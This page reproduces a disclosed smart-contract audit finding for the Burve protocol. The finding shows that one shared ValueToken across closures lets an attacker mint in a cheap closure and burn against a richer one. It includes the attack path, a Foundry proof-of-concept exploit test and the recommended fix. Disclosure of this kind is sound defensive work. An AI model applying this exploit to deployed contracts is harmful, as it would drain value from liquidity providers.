Skip to content
Business logic Audit finding Advanced

The value of each closure is not the same, and the same ValueToken cannot be used for all cids

The mint and burn functions of ValueTokenFacet use a single shared ValueToken for every closure (cid), so a token minted against one closure can be burned against another. An attacker can add liquidity to a low-value closure, mint ValueTokens, burn them against a higher-value closure and withdraw that liquidity for a profit.

Drynooo Follow

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2025-04-burve-judging/issues/280

Found by

Drynooo

Summary

In ValueTokenFacet.sol, the mint/burn function uses the same ValueToken regardless of the cid.This can lead to an attacker being able to add liquidity to a low value closure to get a ValueToken, and then take out liquidity in a high value closure to get a more valuable more tokens.

In addition, the protocol hopes that when a token in the pool crashes unexpectedly, it will not affect users who have not added such liquidity. But it is not feasible under this kind of value design. Let's say user A adds liquidity for 15 tokens, but doesn't add aBTC. Then aBTC plummeted, which should not affect user A. However, users of other liquidity pools can exchange mint/burn ValueToken for the liquidity of the closure where user A is located, so as to avoid their losses. The loss is borne by users like user A.

Root Cause

In ValueTokenFacet.sol, the mint/burn function uses the same ValueToken regardless of the cid.

Internal Pre-conditions

  1. In the pool where the attacker wants to take out the mobility, there needs to be another user who has already minted the ValueToken, otherwise the mobility will reach maxValue and revert when burning the ValueToken.

External Pre-conditions

none

Attack Path

  1. There is a difference in the value of the liquidity of two pools. In normal market volatility, this must exist.
  2. The attacker adds liquidity to the lower value pool cidA.
  3. The attacker mint the ValueToken through cidA, and then burn the ValueToken to obtain the liquidity of cidB
  4. Remove the liquidity of cidB.
  5. The attacker gets more value.

Impact

Liquidity providers lose value. Attackers can steal liquidity without paying any cost.

PoC

Put the following poc under the test/facets folder run forge test --mt testdiff_cid_valueToken -vvv

Solidity
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.27;

import {MultiSetupTest} from "./MultiSetup.u.sol";
import {console2 as console} from "forge-std/console2.sol";
import "../../src/multi/facets/ValueFacet.sol";
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {AssetBookImpl} from "../../src/multi/Asset.sol";
import {MAX_TOKENS} from "../../src/multi/Token.sol";
import {MockERC20} from "../mocks/MockERC20.sol";
import {MockERC4626} from "../mocks/MockERC4626.sol";

contract ValueFacetTest is MultiSetupTest {
    function setUp() public {
        vm.startPrank(owner);
        _newDiamond();
        _newTokens(4);
        _fundAccount(alice);
        _fundAccount(bob);
        // Its annoying we have to fund first.
        _fundAccount(address(this));
        _fundAccount(owner);
        // So we have to redo the prank.
        vm.startPrank(owner);
        _initializeClosure(0xF, 100e18); // 1,2,3,4
        _initializeClosure(0xE, 100e18); // 2,3,4
        _initializeClosure(0xD, 100e18); // 1,3,4
        _initializeClosure(0xc, 1e12); // 3,4
        _initializeClosure(0xB, 100e18); // 1,2,4
        _initializeClosure(0xa, 1e12); // 2,4
        _initializeClosure(0x9, 1e18); // 1,4
        _initializeClosure(0x8, 1e12); // 4
        _initializeClosure(0x7, 100e18); // 1,2,3
        _initializeClosure(0x6, 100e18); // 2,3
        _initializeClosure(0x5, 1e28); // 1,3
        _initializeClosure(0x4, 1e12); // 3
        _initializeClosure(0x3, 100e18); // 1,2
        _initializeClosure(0x2, 1e12); // 2
        _initializeClosure(0x1, 1e12); // 1
        vm.stopPrank();
    }

    // Test whether the token values of different cids should be equal
    function testdiff_cid_valueToken() public {
        // Simulates market price changes, where the price of tokens[0] is smaller than that of tokens[1]
        (uint256 inAmount, uint256 outAmount) = swapFacet.swap(
            bob, // recipient
            tokens[0], // tokenIn
            tokens[1], // tokenOut
            int256(1e19), // positive for exact input
            0, // no price limit{}
            0x3
        );

        // Simulating market price changes, the price of tokens[1] is smaller than that of tokens[2]
        (uint256 inAmount1, uint256 outAmount1) = swapFacet.swap(
            bob, // recipient
            tokens[1], // tokenIn
            tokens[2], // tokenOut
            int256(1e19), // positive for exact input
            0, // no price limit{}
            0x6
        );
        // Last state, the price sorting in the market: token[0]<token[1]<token[2]. This state must exist in reality.
        
        // bob is a normal user, and after adding liquidity, the normal mint valueToken
        valueFacet.addValue(bob, 0x6, 1e19, 0);
        vm.prank(bob);
        valueTokenFacet.mint(1e19, 0, 0x6);


        // alice, as the attacker, uses Single for ease of showing gains
        vm.startPrank(alice);
        uint256 requiredBalance = valueFacet.addValueSingle(
            alice,
            0x3,
            1e19,
            0,
            tokens[1],
            0
        );

        valueTokenFacet.mint(1e19, 0, 0x3);

        valueTokenFacet.burn(1e19, 0, 0x6);

        uint256 received = valueFacet.removeValueSingle(
            alice,
            0x6,
            1e19,
            0,
            tokens[1],
            0
        );
        vm.stopPrank();

        // If it's positive, the attack was successful. This is just to verify that this issue exists and that there must be a more profitable way to attack.
        console.log("diff:", int(received) - int(requiredBalance));
    }
}

Mitigation

It is recommended that different valueTokens should be used for different cids.

The original report as published on Sherlock, by Drynooo. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Liquidity providers can lose value, and an attacker could take liquidity from a closure without paying for it, though the burn reverts if no other user has already minted ValueTokens in the target closure.

What the attacker needed

Another user already minted in target closure; a value difference between two closures

The fix

It is recommended that a separate ValueToken be used for each closure.

How it was found

  1. Create a price difference between two closures through normal swaps.
  2. Have a normal user add liquidity to one closure and mint ValueTokens.
  3. The attacker adds liquidity to the lower-value closure and mints ValueTokens against it.
  4. The attacker burns those ValueTokens against the higher-value closure.
  5. The attacker removes the liquidity from the higher-value closure and keeps the difference.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A closure is a group of tokens in a liquidity pool, and each closure has its own value. The protocol hands out one kind of receipt token (ValueToken) for all closures, so a receipt earned in a cheap closure can be cashed in against an expensive one. That lets someone move value between closures without paying for it, at the expense of honest liquidity providers.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Drynooo

View all

4 more disclosed reports, best first.

More from Burve

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.